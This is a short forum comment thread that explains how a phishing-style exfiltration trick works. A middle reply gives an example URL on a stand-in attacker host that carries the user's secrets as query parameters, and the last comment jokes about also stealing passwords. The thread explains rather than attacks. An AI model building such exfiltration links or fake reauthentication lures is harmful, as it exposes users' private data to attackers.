3 ms·
>>> If the user falls for the trick and clicks the link, the data will be exfiltrated to the attacker's server logs. Does this mean that the user clicks the li
by sam1r 2y ago
>>> If the user falls for the trick and clicks the link, the data will be exfiltrated to the attacker's server logs.
Does this mean that the user clicks the link AND AUTHENTICATES? Or simply clicks the link and the damage is done?
- simonw 2y agoSimply clicks the link. The trick here is that the link they are clicking on looks like this: https://evil-attacker-server.com/log-this?secrets=all+the+users+secrets+are+here So clicking the link is enough to leak the secret data gathered by the attack.
- 8n4vidtmkvmk 2y agoThe "reauthenticate" bit was a lie to entice them users to click it to 'fix the error'. But I guess it wouldn't hurt to pull a double whammy and steal their password while we're at it...